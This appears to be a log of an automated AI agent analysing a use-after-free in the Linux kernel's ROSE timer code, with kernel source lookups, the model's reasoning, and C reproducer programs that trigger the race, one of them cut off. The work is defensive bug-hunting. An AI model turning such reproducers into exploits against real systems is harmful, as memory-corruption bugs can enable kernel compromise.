
**UAF Analysis in ROSE AX.25 Networking**

Okay, let's break this down. It seems we have a potential Use-After-Free (UAF) vulnerability here. I see that `rose_transmit_restart_request(neigh)` directly calls `rose_send_frame(skb, neigh)`. The critical part is that `rose_send_frame` attempts to access `neigh->ax25`. That's where it flags – accessing a pointer after it might have been freed is a classic UAF scenario.

Now, I need to understand the timing and the potential for freeing `neigh->ax25` prematurely. I'm noting that `rose_timer_expiry` is triggered by `rose->timer`. This is key because timers are often involved in cleanup and resource management. Let me keep that in mind.

Digging deeper, I see that within `rose_release`, the function `rose_start_t3timer(sk)` is called. That makes me think T3 timer is running somewhere. And `rose_release` is a function where the memory might have been released. I'm going to have to dive into those `rose_release` functions and figure out exactly when `neigh->ax25` is being released and if this could be happening before that `rose_send_frame` call gets a chance to access it. It looks like `rose_release` is the most important factor and I have to trace how `neigh->ax25` is deallocated.



146/5 2026/05/26 11:46 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_timer.c IncludeLines:true Name:rose_start_t3timer]

Results:
map[SourceCode:  66:	void rose_start_t3timer(struct sock *sk)
  67:	{
  68:		struct rose_sock *rose = rose_sk(sk);
  69:	
  70:		sk_stop_timer(sk, &rose->timer);
  71:	
  72:		rose->timer.function = rose_timer_expiry;
  73:		rose->timer.expires  = jiffies + rose->t3;
  74:	
  75:		sk_reset_timer(sk, &rose->timer, rose->timer.expires);
  76:	}
 SourceFile:net/rose/rose_timer.c]

147/5 2026/05/26 11:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 33757
							output: 41
							thoughts: 4307
						

Thoughts:
**Analysis of the ROSE UAF Vulnerability**

Okay, let's break this down systematically. My initial thought process focused on the timer interactions and how `sysctl_rose_clear_request_timeout` and `sysctl_rose_restart_request_timeout` control the timers `t3timer` and `t0timer`, respectively. The critical observation is that if we set `clear_request_timeout` to be shorter than `restart_request_timeout`, `t3timer` will expire first. I immediately focused on the call sequence. I traced the calls, noting `rose_transmit_link` sending both `ROSE_CLEAR_REQUEST` and `ROSE_RESTART_REQUEST`. Then, by analyzing `rose_transmit_link`, I realized that it *queues* the clear request and only sends a restart request when `t0timer` isn't running. This confirmed my understanding of the fundamental sequence.

I then honed in on `rose_neigh_put` and the potential for a race condition during neighbor destruction. The `refcount_dec_and_test` function is key. `rose_neigh_put` directly calls `kfree(neigh)` if the refcount drops to zero. That's a critical detail for the UAF. I then considered scenarios where the timers might be running, specifically during `rose_connect`, `rose_del_node` and `rose_release`. I had to thoroughly walk through the `rose_connect`, `rose_del_node` and `rose_release` execution path to confirm the following sequence. `t0timer` is started during `rose_connect`. `rose_del_node` stops `t0timer` before `rose_release` is called. Then, `rose_release` is called, and, if `t3timer` is configured to expire first, `rose_neigh` becomes freed by the time that `t0timer` expires. The timing is paramount!

To confirm the sequence, I meticulously traced the `rose_neigh` refcount, detailing how it is increased and decreased through various functions like `rose_add_node`, `rose_connect`, `rose_del_node`, and `rose_release`. This helped to establish the exact refcount at each step and verify the timing of the `kfree(neigh)` call.

Then I considered `ax25_send_frame` and looked for a reference to `neigh`. While it returns `ax25_cb *`, the critical detail is how the crash report pointed to offset 24 within `neigh`. I had to confirm the layout of `rose_neigh` to understand where `ax25` is in the struct. Now, that I had that layout, I could confirm the UAF is a write to the `neigh->ax25` pointer after `neigh` is freed.

Finally, I carefully reviewed the provided C reproducer, confirming that it correctly sets up the conditions for the UAF:  the `clear_request_timeout` and `restart_request_timeout`, the call sequence involving `connect`, `ioctl(SIOCDELRT)`, and `close`, and the subsequent waiting for the timers to expire. The key aspects are that `rose_del_node` must stop `t0timer`, and then `rose_release` must queue the `ROSE_CLEAR_REQUEST`. `t3timer` needs to expire first for this to trigger. The reproducer seems sound.



148/5 2026/05/26 11:47 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_bind]

Results:
map[SourceCode: 696:	static int rose_bind(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len)
 697:	{
 698:		struct sock *sk = sock->sk;
 699:		struct rose_sock *rose = rose_sk(sk);
 700:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 701:		struct net_device *dev;
 702:		ax25_address *source;
 703:		ax25_uid_assoc *user;
 704:		int err = -EINVAL;
 705:		int n;
 706:	
 707:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 708:			return -EINVAL;
 709:	
 710:		if (addr->srose_family != AF_ROSE)
 711:			return -EINVAL;
 712:	
 713:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 714:			return -EINVAL;
 715:	
 716:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 717:			return -EINVAL;
 718:	
 719:		lock_sock(sk);
 720:	
 721:		if (!sock_flag(sk, SOCK_ZAPPED))
 722:			goto out_release;
 723:	
 724:		err = -EADDRNOTAVAIL;
 725:		dev = rose_dev_get(&addr->srose_addr);
 726:		if (!dev)
 727:			goto out_release;
 728:	
 729:		source = &addr->srose_call;
 730:	
 731:		user = ax25_findbyuid(current_euid());
 732:		if (user) {
 733:			rose->source_call = user->call;
 734:			ax25_uid_put(user);
 735:		} else {
 736:			if (ax25_uid_policy && !capable(CAP_NET_BIND_SERVICE)) {
 737:				dev_put(dev);
 738:				err = -EACCES;
 739:				goto out_release;
 740:			}
 741:			rose->source_call   = *source;
 742:		}
 743:	
 744:		rose->source_addr   = addr->srose_addr;
 745:		rose->device        = dev;
 746:		netdev_tracker_alloc(rose->device, &rose->dev_tracker, GFP_KERNEL);
 747:		rose->source_ndigis = addr->srose_ndigis;
 748:	
 749:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 750:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 751:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 752:				rose->source_digis[n] = full_addr->srose_digis[n];
 753:		} else {
 754:			if (rose->source_ndigis == 1) {
 755:				rose->source_digis[0] = addr->srose_digi;
 756:			}
 757:		}
 758:	
 759:		rose_insert_socket(sk);
 760:	
 761:		sock_reset_flag(sk, SOCK_ZAPPED);
 762:		err = 0;
 763:	out_release:
 764:		release_sock(sk);
 765:		return err;
 766:	}
 SourceFile:net/rose/af_rose.c]

149/5 2026/05/26 11:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 39952
							output: 43
							thoughts: 33
						

Thoughts:
Okay, here's my interpretation of that thought process, assuming I'm well-versed in this networking code.

**Diving into the `rose_bind` Function**

Right, `rose_bind` just got called. My first instinct is to see what it's doing under the hood, so I immediately hone in on that call to `rose_dev_get(&addr->srose_addr)`.  That's where the magic probably happens in terms of device lookup.  I need to understand what `rose_dev_get` is up to with that address structure, `addr->srose_addr`. It's crucial to understand the device interaction within the bind operation. Let's delve into the function definition.



150/5 2026/05/26 11:47 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_dev.c IncludeLines:true Name:rose_dev_get]

Results:
map[SourceCode: 624:	/*
 625:	 *	Find the ROSE device for the given address.
 626:	 */
 627:	struct net_device *rose_dev_get(rose_address *addr)
 628:	{
 629:		struct net_device *dev;
 630:	
 631:		rcu_read_lock();
 632:		for_each_netdev_rcu(&init_net, dev) {
 633:			if ((dev->flags & IFF_UP) && dev->type == ARPHRD_ROSE &&
 634:			    rosecmp(addr, (const rose_address *)dev->dev_addr) == 0) {
 635:				dev_hold(dev);
 636:				goto out;
 637:			}
 638:		}
 639:		dev = NULL;
 640:	out:
 641:		rcu_read_unlock();
 642:		return dev;
 643:	}
 SourceFile:net/rose/rose_route.c]

151/5 2026/05/26 11:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 40493
							output: 44
							thoughts: 970
						

Thoughts:
**Analyzing the ROSE Device Interaction and Potential Crash**

Okay, so I'm looking at this ROSE device setup, and it seems pretty straightforward at first glance. `rose_bind` *definitely* requires the ROSE address to be an exact match for the device's configured address. Let's see... the reproducer code confirms that; the initial setup with `SIOCSIFHWADDR` using the `rose0` interface and then the subsequent `bind` call with matching addresses looks perfectly correct. No issues there.

Now, hold on. The `connect` call also relies on the address matching the established route, and the code shows that address 2 is added to the route and the subsequent `connect` call is to the same address. Seems fine.

But the crash report is interesting. It indicates memory being allocated via `rose_add_node`, which is called within `rose_rt_ioctl`, and then freed later by `rose_timer_expiry`. That aligns perfectly with my understanding of the system, with `rose_timer_expiry` cleaning up the neighbour entry. The crash is happening within `rose_send_frame`, likely triggered by `rose_t0timer_expiry`, which is also related to the neighbour's timer.

Alright, before I get too deep into this, let's just confirm the prerequisites. The code brings the `ax0` interface up using `SIOCGIFFLAGS` and `SIOCSIFFLAGS`. No problem. No IP address seems to be configured for `ax0` – that's expected. And it looks like the hardware address is being handled, at least in a default sense, by `mkiss` at device setup. Specifically, I'll need to check the code that opens `mkiss` to see how the hardware address is set by default.

So, the issue is likely a race condition in the neighbour cleanup process.



152/5 2026/05/26 11:47 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:mkiss_open]

Results:
map[SourceCode: 688:	static int mkiss_open(struct tty_struct *tty)
 689:	{
 690:		struct net_device *dev;
 691:		struct mkiss *ax;
 692:		int err;
 693:	
 694:		if (!capable(CAP_NET_ADMIN))
 695:			return -EPERM;
 696:		if (tty->ops->write == NULL)
 697:			return -EOPNOTSUPP;
 698:	
 699:		dev = alloc_netdev(sizeof(struct mkiss), "ax%d", NET_NAME_UNKNOWN,
 700:				   ax_setup);
 701:		if (!dev) {
 702:			err = -ENOMEM;
 703:			goto out;
 704:		}
 705:	
 706:		ax = netdev_priv(dev);
 707:		ax->dev = dev;
 708:	
 709:		spin_lock_init(&ax->buflock);
 710:		refcount_set(&ax->refcnt, 1);
 711:		init_completion(&ax->dead);
 712:	
 713:		ax->tty = tty;
 714:		tty->disc_data = ax;
 715:		tty->receive_room = 65535;
 716:	
 717:		tty_driver_flush_buffer(tty);
 718:	
 719:		/* Restore default settings */
 720:		dev->type = ARPHRD_AX25;
 721:	
 722:		/* Perform the low-level AX25 initialization. */
 723:		err = ax_open(ax->dev);
 724:		if (err)
 725:			goto out_free_netdev;
 726:	
 727:		err = register_netdev(dev);
 728:		if (err)
 729:			goto out_free_buffers;
 730:	
 731:		/* after register_netdev() - because else printk smashes the kernel */
 732:		switch (crc_force) {
 733:		case 3:
 734:			ax->crcmode  = CRC_MODE_SMACK;
 735:			printk(KERN_INFO "mkiss: %s: crc mode smack forced.\n",
 736:			       ax->dev->name);
 737:			break;
 738:		case 2:
 739:			ax->crcmode  = CRC_MODE_FLEX;
 740:			printk(KERN_INFO "mkiss: %s: crc mode flexnet forced.\n",
 741:			       ax->dev->name);
 742:			break;
 743:		case 1:
 744:			ax->crcmode  = CRC_MODE_NONE;
 745:			printk(KERN_INFO "mkiss: %s: crc mode disabled.\n",
 746:			       ax->dev->name);
 747:			break;
 748:		case 0:
 749:		default:
 750:			crc_force = 0;
 751:			printk(KERN_INFO "mkiss: %s: crc mode is auto.\n",
 752:			       ax->dev->name);
 753:			ax->crcmode  = CRC_MODE_SMACK_TEST;
 754:		}
 755:		ax->crcauto = (crc_force ? 0 : 1);
 756:	
 757:		netif_start_queue(dev);
 758:	
 759:		/* Done.  We have linked the TTY line to a channel. */
 760:		return 0;
 761:	
 762:	out_free_buffers:
 763:		kfree(ax->rbuff);
 764:		kfree(ax->xbuff);
 765:	
 766:	out_free_netdev:
 767:		free_netdev(dev);
 768:	
 769:	out:
 770:		return err;
 771:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

153/5 2026/05/26 11:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 43096
							output: 43
							thoughts: 11
						

Thoughts:
Okay, here's my take on those thoughts, tailored for an expert audience, presented in the first person:

**Hardware Address Initialization**

Right, so `ax_setup` appears to be the function or script responsible for configuring the default hardware address. It's the starting point for addressing our hardware, presumably establishing a baseline from which we can then target specific devices or interfaces. I'm immediately thinking about the potential implications – is it setting a MAC address, an IP, a port, or something more device-specific depending on the hardware architecture we're dealing with? This kind of setup function is critical. The initialization of the hardware address is a foundational step, making it absolutely necessary to guarantee that the system can properly communicate with and identify hardware components. This is, of course, critical for any subsequent operations relying on proper hardware detection and management. I'd need more context to understand the specifics of how it's handled, but my mind is already racing with questions about potential conflicts, error handling if the default is unavailable, and how we might override or modify this default programmatically later on.



154/5 2026/05/26 11:47 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax_setup]

Results:
map[SourceCode: 639:	static void ax_setup(struct net_device *dev)
 640:	{
 641:		/* Finish setting up the DEVICE info. */
 642:		dev->mtu             = AX_MTU;
 643:		dev->hard_header_len = AX25_MAX_HEADER_LEN;
 644:		dev->addr_len        = AX25_ADDR_LEN;
 645:		dev->type            = ARPHRD_AX25;
 646:		dev->tx_queue_len    = 10;
 647:		dev->header_ops      = &ax25_header_ops;
 648:		dev->netdev_ops	     = &ax_netdev_ops;
 649:	
 650:	
 651:		memcpy(dev->broadcast, &ax25_bcast, AX25_ADDR_LEN);
 652:		dev_addr_set(dev, (u8 *)&ax25_defaddr);
 653:	
 654:		dev->flags      = IFF_BROADCAST | IFF_MULTICAST;
 655:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

155/5 2026/05/26 11:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 43717
							output: 43
							thoughts: 565
						

Thoughts:
**Analyzing ROSE Interface Setup and Routing**

Okay, so I'm working through this code, and the first thing I notice is the use of `ax25_defaddr`. Yes, I'm pretty sure that's being used. Now, the next thing that jumps out is that `rose_bind` *requires* a ROSE device. Looking down in the code, I see this block:

```c
    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);
```

So, is `rose0` created automatically? I remember that by default the module has `rose_ndevs` set to 10. Aha! I was right, `rose0` to `rose9` are created during module initialization:

```c
static int rose_ndevs = 10;
```

And then, looking at the code later, `rose_dev_get` checks `dev->type == ARPHRD_ROSE`. This confirms that `rose0` is indeed a ROSE device.

Now, going further, let's see, `rose_connect` calls `rose_get_neigh`.

```c
	rose->neighbour = rose_get_neigh(&addr->srose_addr, &cause,
					 &diagnostic, 0);
```

And `rose_get_neigh` checks `rose_node_list`. Okay, so let's look at how we're setting up the routing. We're using `SIOCADDRT` to add a route.

```c
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);
```

Ah, right, and that `SIOCADDRT` is handled by `rose_rt_ioctl`. Got it.



156/5 2026/05/26 11:47 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_rt_ioctl]

Results:
map[SourceCode: 727:	/*
 728:	 *	Handle the ioctls that control the routing functions.
 729:	 */
 730:	int rose_rt_ioctl(unsigned int cmd, void __user *arg)
 731:	{
 732:		struct rose_route_struct rose_route;
 733:		struct net_device *dev;
 734:		int err;
 735:	
 736:		switch (cmd) {
 737:		case SIOCADDRT:
 738:			if (copy_from_user(&rose_route, arg, sizeof(struct rose_route_struct)))
 739:				return -EFAULT;
 740:			if ((dev = rose_ax25_dev_find(rose_route.device)) == NULL)
 741:				return -EINVAL;
 742:			if (rose_dev_exists(&rose_route.address)) /* Can't add routes to ourself */
 743:				return -EINVAL;
 744:			if (rose_route.mask > 10) /* Mask can't be more than 10 digits */
 745:				return -EINVAL;
 746:			if (rose_route.ndigis > AX25_MAX_DIGIS)
 747:				return -EINVAL;
 748:			err = rose_add_node(&rose_route, dev);
 749:			return err;
 750:	
 751:		case SIOCDELRT:
 752:			if (copy_from_user(&rose_route, arg, sizeof(struct rose_route_struct)))
 753:				return -EFAULT;
 754:			if ((dev = rose_ax25_dev_find(rose_route.device)) == NULL)
 755:				return -EINVAL;
 756:			err = rose_del_node(&rose_route, dev);
 757:			return err;
 758:	
 759:		case SIOCRSCLRRT:
 760:			return rose_clear_routes();
 761:	
 762:		default:
 763:			return -EINVAL;
 764:		}
 765:	
 766:		return 0;
 767:	}
 SourceFile:net/rose/rose_route.c]

157/5 2026/05/26 11:47 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 45649
							output: 47
							thoughts: 14
						

Thoughts:
Okay, here's my interpretation of that thought process, tailored for an expert audience, and written in the first person:

**Initial Call and Contextual Awareness**

Okay, so the program execution is starting with a function call. It seems like the core process has initiated a search or discovery function for a ROSE AX.25 device. The name `rose_ax25_dev_find` is telling, and I immediately begin to consider the implications: is this part of the driver loading process? Is it a background scan? Am I in a situation where I should be concerned about resources, or is it isolated?

I know the `rose` prefix means this pertains to the ROSE network protocol, and the `ax25` suffix narrows it down to the AX.25 protocol that sits on top of radio hardware and networking layers. The `dev_find` implies that the objective is to locate and/or identify devices capable of utilizing the AX.25 protocol and supporting ROSE routing. The function's role is critical.

This immediately prompts me to consider the environment where this call occurs. Is this happening in user space? Or kernel space? What is the current state of the networking stack? And what is the underlying hardware? Am I searching for a known device, or attempting to discover new ones? The search criteria are likely defined elsewhere, possibly in configuration files or passed as arguments to this function, and I mentally review the likelihood of encountering the common pitfalls here. This is a crucial area for understanding potential failures.



158/5 2026/05/26 11:48 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_ax25_dev_find]

Results:
map[SourceCode: 587:	/*
 588:	 *	Check that the device given is a valid AX.25 interface that is "up".
 589:	 * 	called with RTNL
 590:	 */
 591:	static struct net_device *rose_ax25_dev_find(char *devname)
 592:	{
 593:		struct net_device *dev;
 594:	
 595:		if ((dev = __dev_get_by_name(&init_net, devname)) == NULL)
 596:			return NULL;
 597:	
 598:		if ((dev->flags & IFF_UP) && dev->type == ARPHRD_AX25)
 599:			return dev;
 600:	
 601:		return NULL;
 602:	}
 SourceFile:net/rose/rose_route.c]

159/5 2026/05/26 11:48 llm strategy-refiner
2m Model:
gemini-3.1-pro-preview

Tokens:
							input: 46284
							output: 1800
							thoughts: 14254
						

Thoughts:
**UAF Bug in ROSE Protocol Timers**

Okay, so I've been digging into this potential use-after-free (UAF) in the ROSE protocol timers. Here's what I've got: `ax0` needs to be up and running with `ARPHRD_AX25`. `mkiss` does the necessary setup, so `rose_ax25_dev_find` should succeed. We also need to be certain that no reference is held by `rose_rt_ioctl` and `__dev_get_by_name`.  It looks like `rose_add_node` and `rose_del_node` are managing references correctly.

Now, I've checked the sysctl values for timeouts, and they look fine – 1 second for `clear_request_timeout` and 2 seconds for `restart_request_timeout`. The real interesting bit is the potential race between the `t0timer` (restart request) and `t3timer` (connection timeout).

Here's the scenario: `t0timer` is running, then we call `rose_connect`, and `rose_write_internal` is called. It starts the `t0timer`. Then, we call `rose_del_node`, which calls `rose_remove_neigh` and cancels the timer. But `close()` gets called, which triggers the CLEAR REQUEST that restarts `t0timer` and also start `t3timer`. Now, if `t3timer` fires first and frees `neigh`, and then `t0timer` fires (because we restarted it after the `close()` call), it's going to access freed memory. This is our UAF.

So I dug into the `rose_transmit_restart_request` function, and saw it allocates an `skb`. If it's successful, it calls `rose_send_frame`. `rose_send_frame` dereferences `neigh->ax25`. I can see the memory access potentially happening and triggering KASAN.

The crash report says "Write of size 8". I initially thought it's reading `neigh->dev`, but if the memory is poisoned due to UAF, it will report the first bad memory access which is probably the write to `neigh->ax25` but caused by access to `neigh->dev`. Also, by default, `rose_callsign` is null, so it will attempt to access `neigh->dev->dev_addr`, resulting in a read!  The write reported by KASAN could have happened after reading the arguments of the function `ax25_send_frame` which takes `neigh->dev` as an argument.

Checking the assembly code, the KASAN report is a write to `neigh->ax25`. KASAN monitors both reads and writes.

I then realized that the race is a *concurrency* issue. `t0timer` and `t3timer` are started and running concurrently in different softirq contexts, which could happen when multiple CPUs are in action. `t0timer` is set and started after `close` by `rose_transmit_link`.  `t3timer` is started right after this function by `rose_start_t3timer`. This can create a race and cause the corruption. If the timers expire almost simultaneously, one can free `neigh` while the other is in the middle of accessing it, and then when `rose_send_frame` is called, a UAF occurs on the write.

So, I need to make the timers expire close together. I set the sysctl values to make both `t0timer` and `t3timer` fire at the same time: 1000 milliseconds, or 1 second. Since `internal_add_timer` uses `hlist_add_head`, `t3timer` (added last) will be at the head of the list, and it will expire first, triggering a UAF on the next call if the first one does not fail.

I need to confirm the sequence. The key is to make the write to `neigh->ax25` happen *after* `neigh` is freed.  I can ensure the issue by setting the timers to trigger at the same time. The first one will free the memory, and the second one's memory read operation will be invalid, causing the KASAN report.

I refined the reproducer by including the necessary steps for interface configuration, route setup, sysctl settings, and the crucial socket operations: bind, add route, connect, delete route, close socket. To make the bug robust, I use a loop to cause this operation to happen multiple times. Finally, I decreased the sleep to trigger the memory release sooner.  Since timers are added to the head of the list, setting the sysctl values to trigger the


160/3 2026/05/26 11:50 action merge-strategy
0m Results:
map[CurrentReproStrategy:An excellent analysis of the KASAN report confirms the race condition between the `t3timer` and `t0timer` in the ROSE subsystem. 

### Root Cause Analysis
1. **Neighbour Creation**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created.
2. **Connection & Timer Start**: When a socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and explicitly stops the `t0timer` (`timer_delete_sync`). The socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` sends a `ROSE_CLEAR_REQUEST` frame. This calls `rose_transmit_link()`, which notices that the `t0timer` is not running (because it was stopped by the route deletion) and **restarts the `t0timer`**. `rose_release()` then starts the socket's `t3timer`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If both timers are configured to expire at the same time, they will be queued in the timer wheel together. The timer wheel unlinks both timers and executes their callbacks sequentially.
   - The `t3timer` callback drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Immediately after, the `t0timer` callback accesses the already freed `rose_neigh` object to send a restart request, causing the KASAN Use-After-Free.

### Reproducer
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` and `t0timer` expire simultaneously. We run the sequence in a loop to ensure the race condition is hit.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        ioctl(rsock, SIOCADDRT, &route);
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```]

161/3 2026/05/26 11:50 agent repro-generator
0m Model:
gemini-3.1-pro-preview

Results:
map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
